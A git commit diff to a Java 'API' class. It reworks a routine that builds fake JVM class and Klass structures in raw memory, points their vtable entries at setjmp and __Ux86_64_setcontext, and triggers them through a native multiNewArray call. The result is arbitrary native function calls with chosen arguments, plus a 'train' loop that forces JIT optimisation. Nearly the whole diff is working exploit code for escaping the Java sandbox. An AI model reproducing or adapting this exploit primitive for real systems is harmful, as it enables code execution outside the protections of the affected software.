Stabilize and make API calls parallelizable.

This commit is contained in:
Andy Nguyen 2021-11-02 23:05:22 +01:00
parent 49311ffaff
commit 18118ff574
1 changed files with 62 additions and 50 deletions

View File

@ -37,7 +37,7 @@ public final class API {
private static final String ERROR_SYMBOL = "__error"; private static final String ERROR_SYMBOL = "__error";
private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray"; private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray";
private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(Ljava/lang/Class;[I)J"; private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(J[I)J";
private static final String NATIVE_LIBRARY_CLASS_NAME = "java.lang.ClassLoader$NativeLibrary"; private static final String NATIVE_LIBRARY_CLASS_NAME = "java.lang.ClassLoader$NativeLibrary";
private static final String FIND_METHOD_NAME = "find"; private static final String FIND_METHOD_NAME = "find";
@ -79,7 +79,7 @@ public final class API {
return instance; return instance;
} }
private native long multiNewArray(Class componentType, int[] dimensions); private native long multiNewArray(long componentType, int[] dimensions);
private void init() throws Exception { private void init() throws Exception {
initUnsafe(); initUnsafe();
@ -258,67 +258,79 @@ public final class API {
write64(contextBuf + 0xE0, rip); write64(contextBuf + 0xE0, rip);
write64(contextBuf + 0xF8, rsp); write64(contextBuf + 0xF8, rsp);
write64(contextBuf + 0x110, 0x41414141); write64(contextBuf + 0x110, 0);
write64(contextBuf + 0x118, 0x41414141); write64(contextBuf + 0x118, 0);
}
public void train() {
for (int i = 0; i < 10000; i++) {
call(-1);
}
} }
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) { public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) {
long fakeCallKlass = malloc(0x400); long fakeClassOop = malloc(INT64_SIZE);
long fakeCallKlassVtable = malloc(0x400); long fakeClass = malloc(0x100);
long fakeKlass = malloc(0x200);
long fakeKlassVtable = malloc(0x400);
if (fakeCallKlass == 0 || fakeCallKlassVtable == 0) { if (fakeClassOop == 0 || fakeClass == 0 || fakeKlass == 0 || fakeKlassVtable == 0) {
throw new IllegalStateException("Could not allocate memory."); throw new IllegalStateException("Could not allocate memory.");
} }
memset(fakeCallKlass, 0, 0x400); write64(fakeClassOop, 0);
memset(fakeClass, 0, 0x100);
for (int i = 0; i < 0x400; i += 8) { memset(fakeKlass, 0, 0x200);
write64(fakeCallKlassVtable + i, JVM_NativePath); memset(fakeKlassVtable, 0, 0x400);
}
try { try {
long ret = 0; long ret = 0;
// When func is -1, only do one iteration to avoid calling __Ux86_64_setcontext.
// This is used to "train" this function to kick in optimization early. Otherwise, it is
// possible that optimization kicks in between the calls to setjmp and __Ux86_64_setcontext
// leading to different stack layouts of the two calls.
int iter = func == -1 ? 1 : 2;
if (jdk11) { if (jdk11) {
long callClass = addrof(Call.class); write64(fakeClassOop + 0x00, fakeClass);
long callKlass = read64(callClass + 0x98); write64(fakeClass + 0x98, fakeKlass);
write32(fakeKlass + 0xC4, 0); // dimension
write64(fakeKlassVtable + 0xD8, JVM_NativePath); // array_klass
write64(fakeCallKlassVtable + 0x158, setjmp); for (int i = 0; i < iter; i++) {
write64(fakeCallKlass + 0x00, fakeCallKlassVtable); write64(fakeKlass + 0x00, fakeKlassVtable);
write64(fakeCallKlass + 0x00, fakeCallKlassVtable); write64(fakeKlass + 0x00, fakeKlassVtable);
write64(callClass + 0x98, fakeCallKlass); if (i == 0) {
multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS); write64(fakeKlassVtable + 0x158, setjmp); // multi_allocate
write64(callClass + 0x98, callKlass); } else {
write64(fakeKlassVtable + 0x158, __Ux86_64_setcontext); // multi_allocate
}
ret = multiNewArray(fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
buildContext( buildContext(
fakeCallKlass + 0x00, fakeCallKlass + 0x00, func, arg0, arg1, arg2, arg3, arg4, arg5); fakeKlass + 0x00, fakeKlass + 0x00, func, arg0, arg1, arg2, arg3, arg4, arg5);
}
write64(fakeCallKlassVtable + 0x158, __Ux86_64_setcontext);
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
write64(callClass + 0x98, fakeCallKlass);
ret = multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
write64(callClass + 0x98, callKlass);
} else { } else {
long callClass = addrof(Call.class); write64(fakeClassOop + 0x00, fakeClass);
long callKlass = read64(callClass + 0x68); write64(fakeClass + 0x68, fakeKlass);
write32(fakeKlass + 0xBC, 0); // dimension
write64(fakeKlassVtable + 0x80, JVM_NativePath); // array_klass
write64(fakeKlassVtable + 0xF0, JVM_NativePath); // oop_is_array
write64(fakeCallKlassVtable + 0x230, setjmp); for (int i = 0; i < iter; i++) {
write64(fakeCallKlass + 0x10, fakeCallKlassVtable); write64(fakeKlass + 0x10, fakeKlassVtable);
write64(fakeCallKlass + 0x20, fakeCallKlassVtable); write64(fakeKlass + 0x20, fakeKlassVtable);
write64(callClass + 0x68, fakeCallKlass); if (i == 0) {
multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS); write64(fakeKlassVtable + 0x230, setjmp); // multi_allocate
write64(callClass + 0x68, callKlass); } else {
write64(fakeKlassVtable + 0x230, __Ux86_64_setcontext); // multi_allocate
}
ret = multiNewArray(fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
buildContext( buildContext(
fakeCallKlass + 0x20, fakeCallKlass + 0x20, func, arg0, arg1, arg2, arg3, arg4, arg5); fakeKlass + 0x20, fakeKlass + 0x20, func, arg0, arg1, arg2, arg3, arg4, arg5);
}
write64(fakeCallKlassVtable + 0x230, __Ux86_64_setcontext);
write64(fakeCallKlass + 0x10, fakeCallKlassVtable);
write64(fakeCallKlass + 0x20, fakeCallKlassVtable);
write64(callClass + 0x68, fakeCallKlass);
ret = multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
write64(callClass + 0x68, callKlass);
} }
if (ret == 0) { if (ret == 0) {
@ -327,8 +339,10 @@ public final class API {
return read64(ret); return read64(ret);
} finally { } finally {
free(fakeCallKlassVtable); free(fakeKlassVtable);
free(fakeCallKlass); free(fakeKlass);
free(fakeClass);
free(fakeClassOop);
} }
} }
@ -565,6 +579,4 @@ public final class API {
System.arraycopy(str.getBytes(), 0, bytes, 0, str.length()); System.arraycopy(str.getBytes(), 0, bytes, 0, str.length());
return bytes; return bytes;
} }
private final class Call {}
} }